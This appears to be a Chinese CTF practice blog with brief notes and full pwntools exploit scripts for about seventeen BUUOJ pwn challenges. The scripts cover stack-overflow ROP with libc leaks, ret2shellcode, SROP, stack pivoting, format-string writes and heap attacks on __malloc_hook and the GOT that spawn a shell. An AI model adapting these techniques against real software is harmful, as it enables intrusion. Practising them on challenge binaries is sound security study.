buu每日一题(1)
形成题感把,,,每天必须做一道
1. jarvisoj_level2
1 2 3 4 5 6 7 8 9 10 11
| from pwn import * p = process("./level2") p=remote("node3.buuoj.cn",29936)
system = 0x08048320 binsh = 0x0804A024 payload = (0x88+0x4)*'a' + p32(system) + p32(0)+p32(binsh)
p.recvuntil("Input:") p.sendline(payload) p.interactive()
|
2. jarvisoj_level2_x64
1 2 3 4 5 6 7 8 9 10 11 12 13
| from pwn import * p = process("./level2_x64") p=remote("node3.buuoj.cn",29525)
system = 0x0004004C0 binsh = 0x0000000600A90 pop_rdi = 0x00000000004006b3
payload = (0x80+0x8)*'a' + p64(pop_rdi)+ p64(binsh)+ p64(system)
p.recvuntil("Input:") p.sendline(payload) p.interactive()
|
3. ciscn_2019_n_5
这道题是ret2shellcode,nx没有开
shellcraft.sh()需要设置好context
context(os='linux', arch='amd64', log_level='debug')
,否则可能不太行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| from pwn import * p = process("./ciscn_2019_n_5") context(os='linux', arch='amd64', log_level='debug')
p=remote("node3.buuoj.cn",26381)
p.recvuntil("tell me your name") payload = asm(shellcraft.sh()) log.success(len(payload)) p.sendline(payload)
p.recvuntil("ant to say to me?") payload = 'a'*(0x20+0x8)+p64(0x0601080) p.sendline(payload)
p.interactive()
|
4. 铁人三项(第五赛区)_2018_rop
简单的rop,栈溢出调用write泄露地址,然后继续main调用system
注意参数,,,,不要写错,,,
然后libc用libcsearcher的话,和本低是不一样的,,,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| from pwn import * from LibcSearcher import *
context(os='linux', arch='i386', log_level='debug')
p = process("./2018_rop") p = remote("node3.buuoj.cn",26162)
elf = ELF("./2018_rop")
write_plt = elf.plt['write'] getegid_got = elf.got['getegid']
log.success("plt:"+hex(write_plt))
main = 0x080484C6
payload = 'a'*(0x88+0x4) + p32(write_plt)+ p32(main) + p32(1)+p32(getegid_got)+p32(0x4) p.sendline(payload)
getegid_addr = u32(p.recv()[:4]) log.success(hex(getegid_addr))
obj = LibcSearcher("getegid",getegid_addr) libc_base = getegid_addr - obj.dump('getegid') system = obj.dump("system") + libc_base binsh = obj.dump("str_bin_sh") + libc_base
log.success(hex(libc_base)) log.success(hex(system)) log.success(hex(binsh))
payload = 'a'*(0x88+0x4) +p32(system)+ p32(main) +p32(binsh) p.sendline(payload)
p.interactive()
|
5. jarvisoj_fm
简单的格式化字符串
1 2 3 4 5 6 7 8 9 10 11 12 13
| from pwn import * p = process("./fm") context(os='linux', arch='i386', log_level='debug')
p=remote("node3.buuoj.cn",26413)
offset = 11 x= 0x0804a02c payload = fmtstr_payload(offset,{x:4}) p.sendline(payload)
p.interactive()
|
6. others_shellcode
运行就能拿到flag
7. bjdctf_2020_babyrop
64位的rop
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| from pwn import * from LibcSearcher import *
p= remote("node3.buuoj.cn",25380) elf = ELF("./bjdctf_2020_babyrop") context(os = 'linux',arch='amd64',log_level ='debug')
puts_plt = elf.plt['puts'] read_got = elf.got['read']
main = elf.symbols['main'] pop_rdi = 0x0000000000400733
p.recvuntil("story") payload = 0x28*'a' + p64(pop_rdi) + p64(read_got) + p64(puts_plt) + p64(main) p.sendline(payload)
sleep(0.3) read_addr = u64(p.recvuntil("\x7f")[-6:]+'\x00\x00')
log.success("puts:"+hex((read_addr)))
obj = LibcSearcher("read",(read_addr)) libc_base = read_addr - obj.dump("read") system = libc_base + obj.dump("system") binsh = libc_base + obj.dump("str_bin_sh")
payload = 0x28*'a' + p64(pop_rdi) + p64(binsh) + p64(system) + p64(main) p.sendline(payload)
p.interactive()
|
8. pwn2_sctf_2016
还是rop
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| from pwn import * from LibcSearcher import * p = process("./pwn2_sctf_2016") p= remote("node3.buuoj.cn",28641) elf = ELF("./pwn2_sctf_2016") context(os = 'linux',arch='i386',log_level ='debug')
p.recvuntil("read?") p.sendline("-1")
printf_plt = elf.plt['printf'] getchar_got = elf.got['getchar'] main = elf.symbols['main']
payload = 'a'*(0x2c+0x4) + p32(printf_plt) + p32(main) + p32(getchar_got) p.recvuntil("data!")
p.sendline(payload) getchar_addr = u32(p.recvuntil("\xf7")[-4:]) print(hex(getchar_addr))
obj = LibcSearcher("getchar",getchar_addr) libc_base = getchar_addr - obj.dump("getchar") system = obj.dump("system") + libc_base binsh = obj.dump("str_bin_sh") + libc_base
p.recvuntil("read?") p.sendline("-1")
payload = 'a'*(0x2c+0x4) + p32(system) + p32(main) + p32(binsh) p.sendline(payload)
p.interactive()
|
9. ciscn_2019_ne_5
栈溢出,addlog输入字符串,getflag里溢出了,,,
程序给了system,但是没给binsh,,,不知道为什么”;/bin/sh”不可以用,,,迷惑,然后自己就多走了一步,还可以用fflush的sh来做参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| from pwn import * from LibcSearcher import *
context(os='linux', arch='i386', log_level='debug')
p = process("./ciscn_2019_ne_5") p = remote("node3.buuoj.cn",25749)
elf = ELF("./ciscn_2019_ne_5")
p.recvuntil("password:") p.sendline("administrator")
p.recvuntil("0.Exit\n:") p.sendline("1") system = elf.plt['system'] main = elf.symbols['main']
printf_got = elf.got['printf'] puts_plt = elf.plt['puts']
binsh = 0x080482ea
payload = "a"*(0x48+4)+p32(system)+p32(main)+p32(binsh)
p.sendline(payload)
p.recvuntil("0.Exit\n:") p.sendline("4")
p.interactive()
|
10. jarvisoj_level3
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| from pwn import * from LibcSearcher import * p = process("./level3") p= remote("node3.buuoj.cn",27215) elf = ELF("./level3") context(os = 'linux',arch='i386',log_level ='debug')
p.recvuntil("Input:\n") write_plt = elf.plt['write'] write_got = elf.got['write'] read_got = elf.got['read'] main = elf.symbols['main']
payload = "a"*(0x88+0x4)+p32(write_plt)+p32(main)+p32(1)+p32(read_got)+p32(0x4) p.sendline(payload)
read_addr = u32(p.recv()[:4]) print(hex(read_addr))
obj = LibcSearcher("read",read_addr) libc_base = read_addr - obj.dump("read") system = libc_base + obj.dump("system") binsh = libc_base + obj.dump("str_bin_sh")
payload = "a"*(0x88+0x4)+p32(system)+p32(main)+p32(binsh) p.sendline(payload)
p.interactive()
|
11. jarvisoj_tell_me_something
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| from pwn import * from LibcSearcher import * p = process("./guestbook") p= remote("node3.buuoj.cn",27801) elf = ELF("./guestbook") context(os = 'linux',arch='amd64',log_level ='debug')
pop_rdi = 0x00000000004006f3 write_got = elf.got['write'] write_plt = elf.plt['write'] main = elf.symbols['main'] pop_rsi_r15_ret = 0x00000000004006f1
p.recvuntil("Input your message:\n")
payload = (0x88)*'a'+p64(pop_rdi)+p64(1)+p64(pop_rsi_r15_ret)+p64(write_got)+p64(0)+p64(write_plt)+p64(main) p.sendline(payload)
write_addr = u64(p.recvuntil("\x7f")[-6:]+'\x00\x00')
print(hex(write_addr))
obj = LibcSearcher("write",write_addr) libc_base = write_addr - obj.dump("write") system = libc_base + obj.dump("system") binsh = libc_base + obj.dump("str_bin_sh")
p.recvuntil("Input your message:\n")
payload = (0x88)*'a'+p64(pop_rdi)+p64(binsh)+p64(system) p.sendline(payload)
p.interactive()
|
12. ciscn_2019_s_3
比较有意思的题目,,,,一开始忽略了gadget,,,,就没想到,,,
有两个gadget,就导致了有两种解法
解法1:ret2csu
一开始有栈溢出,,,
然后有gadget可以设置rax,syscall执行evecve
所以只需要设置参数,rdi,rdx和rsi
rdi有gadget,但是rdx没有,,,所以为了设置rdx,使用了万能gadget
binsh地址的泄漏是因为输入的地址是rsp-0x10,,,所以两个“/bin/sh\x00”后就可以把rbp/rsp的地址带出来
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| from pwn import * p = process("./ciscn_s_3") elf = process("./ciscn_s_3") context.log_level = 'debug'
vuln = 0x04004ED
payload = "/bin/sh\x00"*2 + p64(vuln) p.sendline(payload)
binsh = u64(p.recvuntil("\x7f")[-6:]+'\x00\x00') - 0x118 log.success(hex(binsh))
pop_rax_59 = 0x004004E2 part1 = 0x00040059A part2 = 0x0400580 pop_rdi = 0x00000000004005a3 syscall = 0x0000000000400501
payload = "/bin/sh\x00"*2 + p64(pop_rax_59) payload += p64(part1) payload += p64(0) payload += p64(1) payload += p64(binsh+0x10) payload += p64(0) payload += p64(0) payload += p64(0) payload += p64(part2) payload += 'a' * 56 payload += p64(pop_rdi) payload += p64(binsh) payload += p64(syscall) p.sendline(payload)
p.interactive()
|
解法2:srop
还有一个设置rax = 15的gadget,所以还可以使用srop,并且相比于ret2csu可以大大简化代码
因为参数的设置都在sigreturnframe里面。。。
主要不同主要在第二段代码里面。
直接pop_rax,syscall,这时候rsp的指向下面,,,str(sigframe),即可
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| from pwn import * p = process("./ciscn_s_3") elf = process("./ciscn_s_3") context.log_level = 'debug' context.arch = 'amd64' vuln = 0x04004ED
payload = "/bin/sh\x00"*2 + p64(vuln) p.sendline(payload)
binsh = u64(p.recvuntil("\x7f")[-6:]+'\x00\x00') - 0x118 log.success(hex(binsh))
syscall = 0x0000000000400501 pop_rax_15 = 0x004004DA sigframe = SigreturnFrame() sigframe.rax = constants.SYS_execve sigframe.rdi = binsh sigframe.rsi = 0 sigframe.rdx = 0 sigframe.rip = syscall
payload = "/bin/sh\x00"*2 + p64(pop_rax_15)+p64(syscall) +str(sigframe) p.sendline(payload)
p.interactive()
|
其实还是比较简单的题,恕在下无能
13. [HarekazeCTF2019]baby_rop2
就是简单又正常的rop,,,还给了libc,,,,
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| from pwn import *
libc = ELF("./libc.so.6") p = process("./babyrop2") p= remote("node3.buuoj.cn",26780) elf = ELF("./babyrop2") context(os = 'linux',arch='amd64',log_level ='debug')
printf_plt = elf.plt['printf'] read_got = elf.got['read'] main = elf.sym['main'] pop_rdi = 0x0000000000400733
p.recvuntil("name?") payload = 'a'*0x28 + p64(pop_rdi) + p64(read_got) + p64(printf_plt)+p64(main)
p.sendline(payload) read_addr = u64(p.recvuntil("\x7f")[-6:]+'\x00\x00') print(hex(read_addr))
libc_base = read_addr - libc.sym['read'] system = libc.sym['system'] + libc_base binsh = libc.search("/bin/sh").next() + libc_base log.success(binsh)
p.recvuntil("name?") payload = 'a'*0x28 + p64(pop_rdi) + p64(binsh) + p64(system)+p64(main) p.sendline(payload)
p.interactive()
|
14. ez_pz_hackover_2016
思路很简单,,就是ret2shellcode的题目,这个可以想到,,,一般没开nx就是了,,,,但是算偏移的东西搞得我有点乱,,,,
栈溢出
emmm,ida里面给出的是错误的,,,所以用cyclic来算
1 2 3 4 5 6
| payload = 'crashme'+'\x00' payload += "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa"
|
所以战役粗加上crashme,,,偏移量是18
shellcode偏移
先随便填之前泄漏的地址,,,,调试
1 2 3 4
| payload = 'crashme'+'\x00' payload += "a" * 18 payload += p32(addr) payload += shellcode
|
所以,,,之前泄漏的地址,和shellcode的地址差0x1c,只要addr - 0x1c
即可。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| from pwn import * context.log_level = 'debug' p = process("./ez_pz_hackover_2016")
elf = ELF("./ez_pz_hackover_2016") context(os = 'linux',arch='i386',log_level ='debug')
shellcode = asm(shellcraft.sh()) p.recvuntil("crash: 0x") addr = int(p.recv(8),16) print(hex(addr))
gdb.attach(p) print(hex(addr+0x1e)) payload = 'crashme'+'\x00' payload += "a" * 18 payload += p32(addr) payload += shellcode p.sendline(payload)
p.interactive()
|
15. ciscn_2019_es_2
wuwuwu,,,没做出来,感觉很简单,,,栈迁移
两个相同的输入,,,
方法是第一个可以泄露ebp,,,然后后面的话,,,是覆盖main的返回地址,,,就很强,,,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| from pwn import * from LibcSearcher import *
context(os='linux', arch='i386', log_level='debug')
p = process("./ciscn_2019_es_2") p = remote("node3.buuoj.cn",27980) elf = ELF("./ciscn_2019_es_2")
system = elf.sym['system'] bss = 0x0804A049 leave_ret = 0x080485FD
p.recvuntil("your name?") payload = 'a' * 0x20 + 'b'*8 p.send(payload)
ebp = u32(p.recvuntil('\xff')[-4:]) print(hex(ebp))
print(hex(ebp - 0x24)) payload = 'a'*8 + p32(ebp - 0x24) + 'bbbb' + p32(system) + 'cccc' + p32(ebp - 0x1c) + '/bin/sh\x00' payload = payload.ljust(0x28,'p') payload += p32(ebp - 0x2c)
p.send(payload) p.interactive()
|
做过栈迁移的专题吧。。。。卡擦卡擦,,,停一下。。。
第一页over了。。。
0.vn_pwn_simpleHeap
e = 7 + 7
1 2 3 4
| add(0x18,'pppp') add(0x60,'pppp') add(0x60,'pppp') add(0x10,'pppp')
|
程序以为只有三个了,因为0xe1把0x71覆盖了,但是0x71还是可以用的。
1 2
| payload='p'*0x18+'\xe1' edit(0,payload)
|
放入了unsortedbin中
会把原来unsortedbin中上面的块分走,那么下面里面存放的fd和bk就可以通过原来第二个0x71来输出了。
得到了unsortedbin的链表头,可以得到main_arena的地址和libc的地址。
1 2 3 4 5 6 7 8 9
| main_arena=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-88 libc_base=main_arena-0x3c4b20
libc_one_gadget=[0x45216,0x4526a,0xf02a4,0xf1147] one_gadget=libc_base+libc_one_gadget[1] malloc_hook=libc_base+libc.symbols['__malloc_hook'] realloc=libc_base+libc.symbols['__libc_realloc'] fake_chunk=malloc_hook-0x23
|
变回来了,但是第二个0x71有两个块同时指向chunk2和chunk4
double free?
这时候,chunk2和chunk4指向同一个,chunk4被释放了,但是chunk2还在,可以fastbin attack?
修改了fd指针
1 2
| payload=p64(fake_chunk) edit(2,payload)
|
申请回来
然后再申请会到下面这个地址里面,然后因为one_gadget的限制,所以需要利用realloc_hook。
方法:
realloc填上one_gadget
再在malloc上填上对应的realloc调整地址(根据需要减少pop),malloc上面8个就是realloc
第二部里面的realloc地址是在libc里面的函数地址,,,
1 2
| payload='p'*0xb+p64(one_gadget)+p64(realloc+13) add(0x60,payload)
|
https://bbs.pediy.com/thread-246786.htm
最后在申请一下,就的到shell了。
1 2 3 4
| p.recvuntil('choice: ') p.sendline('1') p.recvuntil('size?') p.sendline("12")
|
完整exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86
| from pwn import *
context.log_level='debug' p=process('./vn_pwn_simpleHeap')
elf=ELF('./vn_pwn_simpleHeap') libc=ELF('./libc-2.23.so')
def add(size,content): p.recvuntil('choice: ') p.sendline('1') p.recvuntil('size?') p.sendline(str(size)) p.recvuntil('content:') p.sendline(content)
def edit(idx,content):
p.sendline('2') p.recvuntil('idx?') p.sendline(str(idx)) p.recvuntil('content:') p.sendline(content)
def show(idx): p.recvuntil('choice: ') p.sendline('3') p.recvuntil('idx?') p.sendline(str(idx))
def delete(idx): p.recvuntil('choice: ') p.sendline('4') p.recvuntil('idx?') p.sendline(str(idx))
add(0x18,'pppp') add(0x60,'pppp') add(0x60,'pppp') add(0x10,'pppp')
payload='p'*0x18+'\xe1' edit(0,payload)
delete(1)
add(0x60,'pppp')
show(2)
main_arena=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-88 libc_base=main_arena-0x3c4b20
libc_one_gadget=[0x45216,0x4526a,0xf02a4,0xf1147] one_gadget=libc_base+libc_one_gadget[1] malloc_hook=libc_base+libc.symbols['__malloc_hook'] realloc=libc_base+libc.symbols['__libc_realloc'] fake_chunk=malloc_hook-0x23
log.success("[*]libc_base"+hex(libc_base))
add(0x60,'pppp') delete(4)
payload=p64(fake_chunk) edit(2,payload)
add(0x60,'pppp')
payload='p'*0xb+p64(one_gadget)+p64(realloc+13) add(0x60,payload) gdb.attach(p) p.recvuntil('choice: ') p.sendline('1') p.recvuntil('size?') p.sendline("12")
p.interactive()
|
不知道为什么本地打不通,但是远程莫得问题
-1.easyheap
前期保护
64位的,没有开pie和relro,顿时觉得easy
没开pie,可以用elf里的plt和got表,没开relro,可以覆盖got表地址。
漏洞分析
edit里面可以输入长度,造成堆溢出
程序留有后面函数,,
只要v3 == 4869,也就是选择输入的时候输入4869即可。并且让magic大于0x1305可以,unsortedbin可以实现向任意地址读入
方法一 unsortbin attack
首先申请了三个堆块,其中第二个要大于0x70为unsortbin
1 2 3
| add(0x20,'aaaa') add(0x80,'aaaa') add(0x20,'aaaa')
|
然后将第二个释放,放入unsortbin中
利用堆溢出,将unsortbin内容修改,其中fd为任意,bk为目标地址 - 0x10
1 2 3
| fd = 0 bk = magic - 0x10 edit(0,0x20+0x20,"a"*0x20+p64(0)+p64(0x91)+p64(fd)+p64(bk))
|
接着,把我们的unsortbin申请回来,实现unsortbin attack
然后,v3输入4869,此时magic已经是一个很大的数,就可以进入后面函数了。
1 2 3 4
| p.recvuntil("Your choice :") p.sendline("4869")
p.interactive()
|
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| from pwn import *
p = remote("node3.buuoj.cn","28942") def add(size,content): p.recvuntil("Your choice :") p.sendline("1") p.recvuntil("Size of Heap : ") p.sendline(str(size)) p.recvuntil("Content of heap:") p.sendline(content)
def edit(idx,size,content): p.recvuntil("Your choice :") p.sendline("2") p.recvuntil("Index :") p.sendline(str(idx)) p.recvuntil("Size of Heap : ") p.sendline(str(size)) p.recvuntil("Content of heap : ") p.sendline(content)
def delete(idx): p.recvuntil("Your choice :") p.sendline("3") p.recvuntil("Index :") p.sendline(str(idx))
add(0x20,'aaaa') add(0x80,'aaaa') add(0x20,'aaaa')
delete(1)
magic = 0x06020C0
fd = 0 bk = magic - 0x10 edit(0,0x20+0x20,"a"*0x20+p64(0)+p64(0x91)+p64(fd)+p64(bk)) add(0x80,'aaaa')
p.recvuntil("Your choice :") p.sendline("4869")
p.interactive()
|
远程有点问题,,,所以要非预期解了。。。
方法二 fastbin修改got表
因为后面要申请到的是0x7f,所以刚开始创建0x68的
1 2 3
| add(0x68,'aaaa')#0 add(0x68,'aaaa')#1 add(0x68,'aaaa')#2
|
然后释放掉一个块,用上一块块溢出到下一个块,将fd里面填入heaparray[i]附近的内容,再申请回来
1 2 3 4 5 6
| delete(1)
payload = 'a'*0x60+p64(0)+p64(0x71)+p64(0x6020ad) edit(0,len(payload),payload)
add(0x68,'aaaa')#1
|
往申请回来的块里面填入atoi的got表
1 2
| payload = 'b'*35 + p64(elf.got['atoi']) add(0x68,payload)
|
然后往got表里面填入system的plt表
1 2
| payload = p64(elf.plt['system']) edit(0,0x8,payload)
|
然后发送的时候,发送’/bin/sh’,即可。
1 2 3
| p.recvuntil("Your choice :") p.sendline('/bin/sh') p.interactive()
|
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| from pwn import *
p = process("./easyheap") elf = ELF("./easyheap")
p = remote("node3.buuoj.cn","28942") def add(size,content): p.recvuntil("Your choice :") p.sendline("1") p.recvuntil("Size of Heap : ") p.sendline(str(size)) p.recvuntil("Content of heap:") p.sendline(content)
def edit(idx,size,content): p.recvuntil("Your choice :") p.sendline("2") p.recvuntil("Index :") p.sendline(str(idx)) p.recvuntil("Size of Heap : ") p.sendline(str(size)) p.recvuntil("Content of heap : ") p.sendline(content)
def delete(idx): p.recvuntil("Your choice :") p.sendline("3") p.recvuntil("Index :") p.sendline(str(idx))
add(0x68,'aaaa') add(0x68,'aaaa') add(0x68,'aaaa')
delete(1)
payload = 'a'*0x60+p64(0)+p64(0x71)+p64(0x6020ad) edit(0,len(payload),payload)
add(0x68,'aaaa')
payload = 'b'*35 + p64(elf.got['atoi']) add(0x68,payload)
payload = p64(elf.plt['system']) edit(0,0x8,payload) p.recvuntil("Your choice :") p.sendline('/bin/sh') p.interactive()
|